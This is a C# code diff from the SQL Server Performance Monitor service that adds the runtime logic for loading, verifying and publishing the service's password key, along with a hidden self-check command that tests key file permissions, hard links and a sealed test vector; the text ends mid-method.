+/// The service's password key at run time (#5366). At start it loads the key file, compares it with the key the store
+/// publishes, acts on <see cref="DarlingPasswordKeyState.Decide"/> (use, generate, publish, retire), records the result
+/// in the store, and sets the ring every writer and the resolver seal and open through. On every sweep it checks that
+/// the store still publishes the key the service holds and that the key tables still have all their protection.
+/// </summary>
+internal sealed class DarlingPasswordKeyRuntime
+{
+    private readonly NpgsqlDataSource _postgres;
+    private readonly ILogger _logger;
+    private readonly Action<IPasswordKeyRing> _setRing;
+    private readonly string _serviceHost;
+    private readonly IPasswordKeyRing? _held;
+    private readonly byte[]? _heldSpki;
+    private readonly string? _heldKeyId;
+    private readonly bool _windows;
+    private readonly Func<string, bool> _canOpen;
+    private string? _sweepState;
+    private bool _sweepReadFailed;
+    private volatile bool _pinsWaiting;
+    private bool _pinFailureWarned;
+    private bool _pinNotHereWarned;
+
+    private DarlingPasswordKeyRuntime(
+        NpgsqlDataSource postgres, ILogger logger, Action<IPasswordKeyRing> setRing, string serviceHost,
+        IPasswordKeyRing ring, IPasswordKeyRing? held, byte[]? heldSpki, string? heldKeyId, string state, string? note,
+        bool windows, Func<string, bool> canOpen)
+    {
+        _postgres = postgres;
+        _windows = windows;
+        _canOpen = canOpen;
+        _logger = logger;
+        _setRing = setRing;
+        _serviceHost = serviceHost;
+        Ring = ring;
+        _held = held;
+        _heldSpki = heldSpki;
+        _heldKeyId = heldKeyId;
+        State = state;
+        Note = note;
+    }
+
+    /// <summary>The ring this start decided on: keyed when the key could be used, otherwise refusing with the reason.</summary>
+    public IPasswordKeyRing Ring { get; }
+
+    /// <summary>The state written for this host: <c>ok</c>, <c>missing</c>, <c>mismatch</c> or <c>refused</c>.</summary>
+    public string State { get; }
+
+    /// <summary>The note written with <see cref="State"/>: the refusal reason, or the open-directory warning, or null.</summary>
+    public string? Note { get; }
+
+    /// <summary>
+    /// True while the one-time pin step is open and has not been able to run (a failed attempt, or a key table whose
+    /// protection is incomplete), so <see cref="SweepCheckAsync"/> tries it again. False once it ran, or when it is left
+    /// for another machine. The worker hands this to the configuration provider so the re-enter line says to wait.
+    /// </summary>
+    public bool PinsWaiting => _pinsWaiting;
+
+    /// <summary>Starts the runtime for the service: resolves the directory beside the other credentials, then
+    /// <see cref="StartAsync(string, NpgsqlDataSource, ILogger, CancellationToken, PasswordKeyStartOptions?)"/>.</summary>
+    public static async Task<DarlingPasswordKeyRuntime> StartForServiceAsync(
+        DarlingConfig config, string configPath, NpgsqlDataSource postgres, ILogger logger, CancellationToken ct)
+    {
+        string directory;
+        try
+        {
+            directory = DarlingLogHashKeyFile.DirectoryFor(config, configPath);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            var reason = $"The directory for the service's password key could not be resolved ({ex.Message}).";
+            logger.LogError("{Reason}", reason);
+            var ring = DarlingPasswordKey.Refusing(reason);
+            DarlingPasswordKey.Current = ring;
+            var refused = new DarlingPasswordKeyRuntime(
+                postgres, logger, r => DarlingPasswordKey.Current = r, Environment.MachineName, ring, null, null, null, "refused", reason,
+                OperatingSystem.IsWindows(), WindowsCanOpen);
+            await refused.RunPinStepAsync(ServiceCommandDeadlines.BootstrapSeconds, ct).ConfigureAwait(false);
+            return refused;
+        }
+
+        return await StartAsync(directory, postgres, logger, ct).ConfigureAwait(false);
+    }
+
+    /// <summary>
+    /// Loads, decides and acts. Never throws for anything the store, the file system or the key can do: the result is a
+    /// refusing ring with the reason, and the same reason is logged. Runs as the store owner.
+    /// </summary>
+    public static async Task<DarlingPasswordKeyRuntime> StartAsync(
+        string directory, NpgsqlDataSource postgres, ILogger logger, CancellationToken ct, PasswordKeyStartOptions? options = null)
+    {
+        ArgumentException.ThrowIfNullOrEmpty(directory);
+        ArgumentNullException.ThrowIfNull(postgres);
+        ArgumentNullException.ThrowIfNull(logger);
+
+        options ??= new PasswordKeyStartOptions();
+        var setRing = options.SetRing ?? (r => DarlingPasswordKey.Current = r);
+        var host = options.ServiceHost ?? Environment.MachineName;
+        var selfTest = options.SelfTest ?? SelfTest;
+        var windows = options.IsWindows ?? OperatingSystem.IsWindows();
+        var canOpen = options.CanOpen ?? WindowsCanOpen;
+
+        PasswordPrivateKey? held = null;
+        try
+        {
+            var outcome = await DecideAndActAsync(directory, postgres, logger, selfTest, host, ct).ConfigureAwait(false);
+            held = outcome.Key;
+            IPasswordKeyRing ring;
+            if (held is not null && outcome.State == "ok")
+            {
+                ring = DarlingPasswordKey.FromPrivateKey(held);
+            }
+            else
+            {
+                ring = DarlingPasswordKey.Refusing(outcome.Note ?? "The service's password key cannot be used.");
+                held?.Dispose();
+                held = null;
+            }
+
+            setRing(ring);
+            await WriteStateAsync(postgres, logger, host, outcome.KeyId, outcome.State, outcome.Note, ct).ConfigureAwait(false);
+            LogOutcome(logger, outcome, directory);
+
+            var runtime = new DarlingPasswordKeyRuntime(
+                postgres, logger, setRing, host, ring, held is null ? null : ring, held?.PublicKey.Spki, held?.PublicKey.KeyId,
+                outcome.State, outcome.Note, windows, canOpen);
+            await runtime.RunPinStepAsync(ServiceCommandDeadlines.BootstrapSeconds, ct).ConfigureAwait(false);
+            return runtime;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            held?.Dispose();
+            var reason = $"The service could not load its password key ({ex.Message}). Saved passwords cannot be used or added until it can.";
+            logger.LogError("{Reason}", reason);
+            var ring = DarlingPasswordKey.Refusing(reason);
+            setRing(ring);
+            await WriteStateAsync(postgres, logger, host, null, "refused", reason, ct).ConfigureAwait(false);
+            var refused = new DarlingPasswordKeyRuntime(
+                postgres, logger, setRing, host, ring, null, null, null, "refused", reason, windows, canOpen);
+            await refused.RunPinStepAsync(ServiceCommandDeadlines.BootstrapSeconds, ct).ConfigureAwait(false);
+            return refused;
+        }
+    }
+
+    /// <summary>
+    /// Seals a random value to the published key and opens it with the key from the file. True only when the value comes
+    /// back: the file's private half really belongs to the key the store publishes.
+    /// </summary>
+    internal static bool SelfTest(PasswordPrivateKey fileKey, PublishedKey published)
+    {
+        ArgumentNullException.ThrowIfNull(fileKey);
+        ArgumentNullException.ThrowIfNull(published);
+        try
+        {
+            var publicKey = PasswordPublicKey.FromSpki(published.Spki);
+            var value = Convert.ToBase64String(RandomNumberGenerator.GetBytes(32));
+            var binding = PasswordBinding.ForSmtp("self-test.example", 25, false, "self-test");
+            var sealedText = PasswordSeal.Seal(value, publicKey, binding);
+            return string.Equals(PasswordSeal.Open(sealedText, fileKey, binding), value, StringComparison.Ordinal);
+        }
+        catch (Exception ex) when (ex is PasswordSealException or CryptographicException)
+        {
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// The per-sweep check: one read of the current published key and the key tables' triggers. A key that no longer
+    /// matches the one this service holds, no published key at all (a reset), or a trigger that is missing, extra or not
+    /// enabled in every session state turns the ring to refusing and records <c>mismatch</c>, <c>reset_pending</c> or
+    /// <c>refused</c> once. When the store is as expected again, the ring the start loaded is put back. Does nothing when
+    /// the start did not load a key. Never throws.
+    /// </summary>
+    public async Task SweepCheckAsync(CancellationToken ct)
+    {
+        // The one-time pin step is tried again on every sweep while it is waiting, whether or not the start loaded a key.
+        if (_pinsWaiting)
+        {
+            await RunPinStepAsync(ServiceCommandDeadlines.SerialLoopSeconds, ct).ConfigureAwait(false);
+        }
+
+        if (_held is null || _heldSpki is null)
+        {
+            return;
+        }
+
+        try
+        {
+            await using var c = await _postgres.OpenConnectionAsync(ct).ConfigureAwait(false);
+            var triggerProblem = await DarlingPasswordKeyStore.CheckTriggersAsync(c, ct).ConfigureAwait(false);
+            PublishedKey? current = null;
+            if (triggerProblem is null)
+            {
+                current = await DarlingPasswordKeyStore.ReadCurrentAsync(c, ServiceCommandDeadlines.SerialLoopSeconds, ct).ConfigureAwait(false);
+            }
+
+            string? problem = null;
+            var state = "ok";
+            if (triggerProblem is not null)
+            {
+                problem = triggerProblem;
+                state = "refused";
+            }
+            else if (current is null)
+            {
+                problem = "The password key was reset. Restart the service: it will make a new password key, and the saved passwords must be entered again.";
+                state = "reset_pending";
+            }
+            else if (!current.Spki.AsSpan().SequenceEqual(_heldSpki))
+            {
+                problem = $"The store now publishes the password key {PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(current.Spki))}, not the key this service holds " +
+                    $"({PasswordSeal.DisplayKeyId(_heldKeyId ?? "")}). Restart the service, or restore the credentials volume that holds the key.";
+                state = "mismatch";
+            }
+
+            _sweepReadFailed = false;
+            if (problem is not null && !string.Equals(_sweepState, state, StringComparison.Ordinal))
+            {
+                _sweepState = state;
+                _setRing(DarlingPasswordKey.Refusing(problem));
+                _logger.LogError("Password key check: {Problem}", problem);
+                await DarlingPasswordKeyStore.WriteServiceStateAsync(
+                    c, _serviceHost, _heldKeyId, state, problem, ServiceCommandDeadlines.SerialLoopSeconds, ct).ConfigureAwait(false);
+            }
+            else if (problem is null && _sweepState is not null)
+            {
+                _sweepState = null;
+                _setRing(_held);
+                _logger.LogInformation("Password key check: the store publishes this service's key again, so saved passwords are usable.");
+                await DarlingPasswordKeyStore.WriteServiceStateAsync(
+                    c, _serviceHost, _heldKeyId, "ok", null, ServiceCommandDeadlines.SerialLoopSeconds, ct).ConfigureAwait(false);
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            // A store that cannot be read says nothing about the key: leave the ring as it is, and say so once.
+            if (!_sweepReadFailed)
+            {
+                _sweepReadFailed = true;
+                _logger.LogWarning("Password key check could not read the store: {Message}", ex.Message);
+            }
+        }
+    }
+
+    private sealed record Outcome(PasswordPrivateKey? Key, string State, string? Note, string? KeyId, bool Generated, bool TriggersOk, string? Warning);
+
+    private static async Task<Outcome> DecideAndActAsync(
+        string directory, NpgsqlDataSource postgres, ILogger logger, Func<PasswordPrivateKey, PublishedKey, bool> selfTest,
+        string host, CancellationToken ct)
+    {
+        await using var c = await postgres.OpenConnectionAsync(ct).ConfigureAwait(false);
+
+        var triggerProblem = await DarlingPasswordKeyStore.CheckTriggersAsync(c, ct).ConfigureAwait(false);
+        if (triggerProblem is not null)
+        {
+            return new Outcome(null, "refused", triggerProblem, null, false, false, null);
+        }
+
+        await DarlingPasswordKeyStore.WriteServiceStateAsync(
+            c, host, null, "loading", null, ServiceCommandDeadlines.BootstrapSeconds, ct).ConfigureAwait(false);
+
+        var load = DarlingPasswordKeyFile.Load(directory, logger);
+        PasswordPrivateKey? fileKey = null;
+        string? unusable = null;
+        if (load.Untrusted)
+        {
+            unusable = load.Refusal ?? "The password key file cannot be used.";
+        }
+        else if (load.Present)
+        {
+            if (load.Pkcs8 is null)
+            {
+                unusable = load.Refusal ?? "The password key file could not be read.";
+            }
+            else
+            {
+                try
+                {
+                    fileKey = PasswordPrivateKey.FromPkcs8(load.Pkcs8);
+                }
+                catch (PasswordSealException)
+                {
+                    unusable = $"The password key file in {directory} is not a usable RSA-3072 key.";
+                }
+                finally
+                {
+                    CryptographicOperations.ZeroMemory(load.Pkcs8);
+                }
+            }
+        }
+
+        var ownsFileKey = true;
+        try
+        {
+            var storeCurrent = await DarlingPasswordKeyStore.ReadCurrentAsync(c, ServiceCommandDeadlines.BootstrapSeconds, ct).ConfigureAwait(false);
+            var fileKeyId = fileKey?.PublicKey.KeyId;
+            var retiredInStore = fileKeyId is not null
+                && await DarlingPasswordKeyStore.IsReplacedAsync(c, fileKeyId, ct).ConfigureAwait(false);
+            var facts = new PasswordKeyFacts(
+                FilePresent: load.Present,
+                FileUntrusted: unusable is not null,
+                FileRefusal: unusable,
+                FileSpki: fileKey?.PublicKey.Spki,
+                FoundAfterOpenDirectory: load.FoundAfterOpenDirectory,
+                StoreCurrent: storeCurrent,
+                FileKeyRetiredInStore: retiredInStore);
+            var decision = DarlingPasswordKeyState.Decide(facts);
+
+            if (decision.RetireFileFirst)
+            {
+                try
+                {
+                    DarlingPasswordKeyFile.Retire(directory, decision.RetireAs!, logger);
+                }
+                catch (Exception ex) when (ex is IOException or ArgumentException)
+                {
+                    return new Outcome(null, "refused", ex.Message, null, false, true, null);
+                }
+
+                fileKey?.Dispose();
+                fileKey = null;
+            }
+
+            switch (decision.Action)
+            {
+                case PasswordKeyAction.Refused:
+                    return new Outcome(null, "refused", decision.Reason, null, false, true, null);
+
+                case PasswordKeyAction.Mismatch:
+                    return new Outcome(null, "mismatch", decision.Reason, fileKey?.PublicKey.KeyId, false, true, null);
+
+                case PasswordKeyAction.Missing:
+                    return new Outcome(null, "missing", decision.Reason, null, false, true, null);
+
+                case PasswordKeyAction.Use:
+                {
+                    if (load.FoundAfterOpenDirectory)
+                    {
+                        // The file was kept from an open directory: it counts only when its private half opens a value
+                        // sealed to the published key, and only then does it go back to the live name.
+                        if (!selfTest(fileKey!, storeCurrent!))
+                        {
+                            var reason = "The password key file kept from the credentials directory has the published key's id but cannot open a value sealed to it, so it was not used. " +
+                                "Restore the credentials volume that holds the key, or run --reset-password-key and enter the saved passwords again.";
+                            return new Outcome(null, "mismatch", reason, fileKey!.PublicKey.KeyId, false, true, null);
+                        }
+
+                        try
+                        {
+                            DarlingPasswordKeyFile.Accept(directory, logger);
+                        }
+                        catch (Exception ex) when (ex is IOException or InvalidOperationException)
+                        {
+                            return new Outcome(null, "refused", ex.Message, null, false, true, null);
+                        }
+                    }
+
+                    ownsFileKey = false;
+                    return new Outcome(fileKey, "ok", decision.Warning, fileKey!.PublicKey.KeyId, false, true, decision.Warning);
+                }
+
+                case PasswordKeyAction.PublishFile:
+                {
+                    var published = await TryPublishAsync(c, fileKey!, ct).ConfigureAwait(false);
+                    if (published is not null)
+                    {
+                        return new Outcome(null, "mismatch", published, fileKey!.PublicKey.KeyId, false, true, null);
+                    }
+
+                    ownsFileKey = false;
+                    return new Outcome(fileKey, "ok", null, fileKey!.PublicKey.KeyId, false, true, null);
+                }
+
+                case PasswordKeyAction.Generate:
+                {
+                    var made = PasswordPrivateKey.Generate();
+                    var written = DarlingPasswordKeyFile.Generate(directory, made.ExportPkcs8, logger);
+                    if (written.Pkcs8 is not null)
+                    {
+                        CryptographicOperations.ZeroMemory(written.Pkcs8);
+                    }
+
+                    if (!written.Present || written.Pkcs8 is null)
+                    {
+                        made.Dispose();
+                        return new Outcome(null, "refused", written.Refusal ?? "The password key file could not be written.", null, false, true, null);
+                    }
+
+                    var conflict = await TryPublishAsync(c, made, ct).ConfigureAwait(false);
+                    if (conflict is not null)
+                    {
+                        made.Dispose();
+                        return new Outcome(null, "mismatch", conflict, null, false, true, null);
+                    }
+
+                    return new Outcome(made, "ok", null, made.PublicKey.KeyId, true, true, null);
+                }
+
+                default:
+                    return new Outcome(null, "refused", "The service's password key cannot be used.", null, false, true, null);
+            }
+        }
+        finally
+        {
+            if (ownsFileKey)
+            {
+                fileKey?.Dispose();
+            }
+        }
+    }
+
+    // Null when the key was published; otherwise the sentence for the case where another key became current first.
+    private static async Task<string?> TryPublishAsync(NpgsqlConnection c, PasswordPrivateKey key, CancellationToken ct)
+    {
+        try
+        {
+            await DarlingPasswordKeyStore.PublishAsync(c, key.PublicKey.KeyId, key.PublicKey.Spki, ct).ConfigureAwait(false);
+            return null;
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UniqueViolation)
+        {
+            return "Another service published a password key at the same moment. Restart the service so it uses that key.";
+        }
+    }
+
+    private static async Task WriteStateAsync(
+        NpgsqlDataSource postgres, ILogger logger, string host, string? keyId, string state, string? note, CancellationToken ct)
+    {
+        try
+        {
+            await using var c = await postgres.OpenConnectionAsync(ct).ConfigureAwait(false);
+            await DarlingPasswordKeyStore.WriteServiceStateAsync(
+                c, host, keyId, state, note, ServiceCommandDeadlines.BootstrapSeconds, ct).ConfigureAwait(false);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger.LogWarning("The password key's state could not be recorded in the store: {Message}", ex.Message);
+        }
+    }
+
+    private static void LogOutcome(ILogger logger, Outcome outcome, string directory)
+    {
+        if (outcome.State == "ok" && outcome.KeyId is not null)
+        {
+            var id = PasswordSeal.DisplayKeyId(outcome.KeyId);
+            if (outcome.Generated)
+            {
+                logger.LogInformation("Password key {KeyId} generated in {Directory}", id, directory);
+            }
+            else
+            {
+                logger.LogInformation("Password key {KeyId} loaded from {Directory}", id, directory);
+            }
+
+            if (outcome.Warning is not null)
+            {
+                logger.LogWarning("{Warning}", outcome.Warning);
+            }
+
+            return;
+        }
+
+        logger.LogError("Password key not loaded ({State}): {Reason}", outcome.State, outcome.Note);
+    }
+
+    /// <summary>
+    /// Runs the one-time pin step (#5387, #5456) and records whether it is still waiting. Only a cancellation escapes: a
+    /// failure, or a key table whose protection is incomplete, leaves the step open and <see cref="PinsWaiting"/> true
+    /// so the next sweep tries again. A step that matches values but opens none on this machine, or one a Linux host left
+    /// open, is not waiting: it stays open for the machine that can.
+    /// </summary>
+    private async Task RunPinStepAsync(int timeoutSeconds, CancellationToken ct)
+    {
+        // After the first failure the store's own notes are left out of a retry: the runtime's Warning and Debug lines say it.
+        ILogger storeLogger = _pinFailureWarned ? NullLogger.Instance : _logger;
+        try
+        {
+            var snapshot = await DarlingPasswordKeyStore.SnapshotLegacyPinsAsync(
+                _postgres, _windows, _canOpen, timeoutSeconds, storeLogger, ct).ConfigureAwait(false);
+            switch (snapshot.MarkerState)
+            {
+                case "unprotected":
+                    NoteWaiting("a key table's protection is not as expected");
+                    return;
+                case "not-here":
+                    _pinsWaiting = false;
+                    if (!_pinNotHereWarned)
+                    {
+                        _pinNotHereWarned = true;
+                        _logger.LogWarning(
+                            "Old-format saved passwords still match the store, but this machine cannot open them. " +
+                            "The one-time pin step stays open for the machine that saved them.");
+                    }
+
+                    return;
+                case "done":
+                    _pinsWaiting = false;
+                    if (_windows)
+                    {
+                        _logger.LogInformation("Legacy password pins: {Pinned} saved password(s) pinned to their connection.", snapshot.Pinned);
+                    }
+
+                    return;
+                default:
+                    _pinsWaiting = false;
+                    return;
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            NoteWaiting(ex.Message);
+        }
+    }
+
+    private void NoteWaiting(string message)
+    {
+        _pinsWaiting = true;
+        if (!_pinFailureWarned)
+        {
+            _pinFailureWarned = true;
+            _logger.LogWarning(
+                "Old-format saved passwords wait for the one-time pin step, which could not run ({Message}). " +
+                "The service tries it again on every sweep.", message);
+        }
+        else
+        {
+            _logger.LogDebug("The one-time pin step still could not run ({Message}).", message);
+        }
+    }
+
+    private static bool WindowsCanOpen(string stored) =>
+        OperatingSystem.IsWindows() && DarlingSecrets.CanUnprotect(stored);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeySelfCheck.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeySelfCheck.cs
new file mode 100644
index 0000000000..11c03be904
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeySelfCheck.cs
@@ -0,0 +1,455 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Runtime.Versioning;
+using System.Security.Cryptography;
+using System.Text.Json;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The hidden <c>--self-check-password-key &lt;vector-path&gt;</c> verb (#5366): runs the real password key code in a
+/// fresh temporary directory and exits non-zero on any failure. The Linux build job runs it inside the built image,
+/// because the test project runs on Windows and so never reaches the Unix owner, link-count and file-identity calls.
+///
+/// <para>Three groups of checks. The key file: generate it, read the mode, owner and link count back, reload it to the
+/// same key id, and see a wider mode and a second name each refused. The file identity: a file and its hard link give
+/// one identity and two files give two. The vector: a sealed value made on another platform opens here to the expected
+/// text, and stops opening when a bound field changes. A check that cannot be made counts as a failure, never as a
+/// pass.</para>
+///
+/// <para>The vector is a JSON file kept in the repository and labelled as a test vector. Its key belongs to no
+/// installation and protects nothing.</para>
+/// </summary>
+internal static class DarlingPasswordKeySelfCheck
+{
+    private const string Verb = "--self-check-password-key";
+
+    /// <summary>What the verb prints and returns for a call with the wrong arguments or on a platform it cannot check.</summary>
+    internal const string UsageLine = Verb + " <vector-path>";
+
+    /// <summary>
+    /// Runs every check and prints one line each. Returns 0 only when all of them passed.
+    /// </summary>
+    public static int Run(string[] rest, TextWriter output, TextWriter error)
+    {
+        ArgumentNullException.ThrowIfNull(rest);
+        ArgumentNullException.ThrowIfNull(output);
+        ArgumentNullException.ThrowIfNull(error);
+
+        if (rest.Length != 1 || string.IsNullOrWhiteSpace(rest[0]))
+        {
+            error.WriteLine("Usage: " + UsageLine);
+            return 1;
+        }
+
+        if (!OperatingSystem.IsLinux() && !OperatingSystem.IsMacOS())
+        {
+            error.WriteLine(Verb + " checks the Unix file calls, so it runs on Linux or macOS only.");
+            return 1;
+        }
+
+        var failures = 0;
+        void Report(string name, string? failure)
+        {
+            if (failure is null)
+            {
+                output.WriteLine("ok: " + name);
+            }
+            else
+            {
+                failures++;
+                error.WriteLine("FAILED: " + name + ": " + failure);
+            }
+        }
+
+        string? work = null;
+        try
+        {
+            work = Directory.CreateTempSubdirectory("password-key-self-check-").FullName;
+            Report("key file", Guarded(() => OperatingSystem.IsWindows() ? "not run on Windows" : CheckKeyFile(Path.Combine(work, "keys"))));
+            Report("file identity", Guarded(() => CheckFileIdentity(Path.Combine(work, "identity"))));
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            Report("working directory", ex.Message);
+        }
+        finally
+        {
+            TryDelete(work);
+        }
+
+        Report("vector", Guarded(() => CheckVector(rest[0])));
+
+        if (failures > 0)
+        {
+            error.WriteLine($"The password key self-check failed ({failures} of 3 checks).");
+            return 1;
+        }
+
+        output.WriteLine("The password key self-check passed.");
+        return 0;
+    }
+
+    /// <summary>Runs a check and turns anything it throws into a failure sentence.</summary>
+    private static string? Guarded(Func<string?> check)
+    {
+        try
+        {
+            return check();
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return ex.GetType().Name + ": " + ex.Message;
+        }
+    }
+
+    private static void TryDelete(string? directory)
+    {
+        if (directory is null)
+        {
+            return;
+        }
+
+        try
+        {
+            Directory.Delete(directory, recursive: true);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            /* A temporary directory that stays behind does not change what the checks found. */
+        }
+    }
+
+    private static byte[] NewKeyBytes()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        return key.ExportPkcs8();
+    }
+
+    private static string KeyIdOf(byte[] pkcs8)
+    {
+        using var key = PasswordPrivateKey.FromPkcs8(pkcs8);
+        return key.PublicKey.KeyId;
+    }
+
+    /// <summary>The key file on this Unix system: written owner-only, one name, reloads to the same key, and a wider
+    /// mode or a second name is refused. Returns null when all of it held, otherwise the first thing that did not.</summary>
+    [UnsupportedOSPlatform("windows")]
+    internal static string? CheckKeyFile(string directory)
+    {
+        var logger = NullLogger.Instance;
+        Directory.CreateDirectory(directory, UnixFileMode.UserRead | UnixFileMode.UserWrite | UnixFileMode.UserExecute);
+        var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+
+        var generated = DarlingPasswordKeyFile.Generate(directory, NewKeyBytes, logger);
+        if (generated.Pkcs8 is null || generated.Untrusted || generated.Refusal is not null)
+        {
+            return "the key file was not written: " + (generated.Refusal ?? "no key came back");
+        }
+
+        string keyId;
+        try
+        {
+            keyId = KeyIdOf(generated.Pkcs8);
+        }
+        finally
+        {
+            CryptographicOperations.ZeroMemory(generated.Pkcs8);
+        }
+
+        var expectedMode = UnixFileMode.UserRead | UnixFileMode.UserWrite;
+        var mode = File.GetUnixFileMode(path);
+        if (mode != expectedMode)
+        {
+            return $"the key file mode is {Convert.ToString((int)mode, 8)}, not 600";
+        }
+
+        var owner = FileIdentity.UnixOwnerOf(path);
+        if (owner is null)
+        {
+            return "the owner of the key file could not be read";
+        }
+
+        if (owner.Value.UserId != FileIdentity.EffectiveUserId())
+        {
+            return "the key file is not owned by the user the process runs as";
+        }
+
+        if (owner.Value.Links != 1)
+        {
+            return $"the key file has {owner.Value.Links} names, not one";
+        }
+
+        var reloadFailure = LoadMustSucceed(directory, keyId, logger, "after it was written");
+        if (reloadFailure is not null)
+        {
+            return reloadFailure;
+        }
+
+        File.SetUnixFileMode(path, UnixFileMode.UserRead | UnixFileMode.UserWrite | UnixFileMode.GroupRead | UnixFileMode.OtherRead);
+        var wide = LoadMustBeRefused(directory, logger, "with mode 644");
+        File.SetUnixFileMode(path, expectedMode);
+        if (wide is not null)
+        {
+            return wide;
+        }
+
+        reloadFailure = LoadMustSucceed(directory, keyId, logger, "after the mode went back to 600");
+        if (reloadFailure is not null)
+        {
+            return reloadFailure;
+        }
+
+        var extraName = Path.Combine(directory, "second-name");
+        if (!TryHardLink(path, extraName))
+        {
+            return "a second name for the key file could not be made, so the link check could not run";
+        }
+
+        try
+        {
+            var linked = LoadMustBeRefused(directory, logger, "with a second name");
+            if (linked is not null)
+            {
+                return linked;
+            }
+
+            if (FileIdentity.UnixOwnerOf(path)?.Links != 2)
+            {
+                return "the link count did not report the second name";
+            }
+        }
+        finally
+        {
+            File.Delete(extraName);
+        }
+
+        return LoadMustSucceed(directory, keyId, logger, "after the second name was removed");
+    }
+
+    private static string? LoadMustSucceed(string directory, string keyId, Microsoft.Extensions.Logging.ILogger logger, string when)
+    {
+        var load = DarlingPasswordKeyFile.Load(directory, logger);
+        if (load.Pkcs8 is null)
+        {
+            return $"the key file was not read {when}: " + (load.Refusal ?? "no key came back");
+        }
+
+        try
+        {
+            return load.Untrusted || KeyIdOf(load.Pkcs8) != keyId
+                ? $"the key file did not reload to the same key id {when}"
+                : null;
+        }
+        finally
+        {
+            CryptographicOperations.ZeroMemory(load.Pkcs8);
+        }
+    }
+
+    private static string? LoadMustBeRefused(string directory, Microsoft.Extensions.Logging.ILogger logger, string when)
+    {
+        var load = DarlingPasswordKeyFile.Load(directory, logger);
+        if (load.Pkcs8 is not null)
+        {
+            CryptographicOperations.ZeroMemory(load.Pkcs8);
+            return $"the key file was read {when}";
+        }
+
+        return load.Untrusted && load.Refusal is not null
+            ? null
+            : $"the key file was not refused as untrusted {when}";
+    }
+
+    /// <summary>The file identity: a file and its hard link give one identity, two files give two, and a missing path
+    /// gives none. Returns null when all of it held.</summary>
+    internal static string? CheckFileIdentity(string directory)
+    {
+        Directory.CreateDirectory(directory);
+        var first = Path.Combine(directory, "first");
+        var second = Path.Combine(directory, "second");
+        var firstName = Path.Combine(directory, "first-other-name");
+        File.WriteAllText(first, "one");
+        File.WriteAllText(second, "two");
+
+        if (!TryHardLink(first, firstName))
+        {
+            return "a second name for a file could not be made, so the identity check could not run";
+        }
+
+        var a = FileIdentity.Of(first);
+        var b = FileIdentity.Of(firstName);
+        var c = FileIdentity.Of(second);
+        if (a is null || b is null || c is null)
+        {
+            return "the identity of an existing file could not be read";
+        }
+
+        if (a.Value != b.Value)
+        {
+            return "a file and its second name gave different identities";
+        }
+
+        if (a.Value == c.Value)
+        {
+            return "two different files gave the same identity";
+        }
+
+        return FileIdentity.Of(Path.Combine(directory, "missing")) is null
+            ? null
+            : "a path that does not exist gave an identity";
+    }
+
+    /// <summary>The sealed value in the vector file opens to its plaintext with the vector's own private key, a value
+    /// sealed here opens too, and a changed bound field stops the vector's value opening. Platform-neutral. Returns null
+    /// when all of it held.</summary>
+    internal static string? CheckVector(string vectorPath)
+    {
+        if (!File.Exists(vectorPath))
+        {
+            return "the vector file was not found";
+        }
+
+        using var document = JsonDocument.Parse(File.ReadAllText(vectorPath));
+        var root = document.RootElement;
+
+        var label = Text(root, "label");
+        if (label is null || !label.Contains("TEST VECTOR", StringComparison.Ordinal))
+        {
+            return "the vector file is not labelled as a test vector";
+        }
+
+        if (Text(root, "purpose") != PasswordBinding.ServerPurpose)
+        {
+            return "the vector file does not carry a server password";
+        }
+
+        var plaintext = Text(root, "plaintext");
+        var sealedText = Text(root, "sealed");
+        var keyText = Text(root, "testOnlyPrivateKeyPkcs8Base64");
+        if (plaintext is null || sealedText is null || keyText is null || !root.TryGetProperty("binding", out var b))
+        {
+            return "the vector file is missing a field";
+        }
+
+        var identity = IdentityFrom(b, usernameSuffix: "");
+        var changed = IdentityFrom(b, usernameSuffix: "-changed");
+        if (identity is null || changed is null)
+        {
+            return "the vector file's binding is missing a field";
+        }
+
+        var pkcs8 = Convert.FromBase64String(keyText);
+        try
+        {
+            using var key = PasswordPrivateKey.FromPkcs8(pkcs8);
+            if (PasswordSeal.KeyIdOf(sealedText) != key.PublicKey.KeyId)
+            {
+                return "the vector's sealed value names a different key than the vector's private key";
+            }
+
+            string opened;
+            try
+            {
+                opened = PasswordSeal.Open(sealedText, key, PasswordBinding.ForServer(identity.Value));
+            }
+            catch (PasswordSealException ex)
+            {
+                return $"the vector's sealed value did not open ({ex.Kind})";
+            }
+
+            if (!string.Equals(opened, plaintext, StringComparison.Ordinal))
+            {
+                return "the vector's sealed value opened to different text";
+            }
+
+            try
+            {
+                PasswordSeal.Open(sealedText, key, PasswordBinding.ForServer(changed.Value));
+                return "the vector's sealed value opened for a changed username";
+            }
+            catch (PasswordSealException)
+            {
+                /* Expected: the value is bound to the fields it was sealed for. */
+            }
+
+            var again = PasswordSeal.Seal(plaintext, key.PublicKey, PasswordBinding.ForServer(identity.Value));
+            return string.Equals(PasswordSeal.Open(again, key, PasswordBinding.ForServer(identity.Value)), plaintext, StringComparison.Ordinal)
+                ? null
+                : "a value sealed on this system did not open to the same text";
+        }
+        finally
+        {
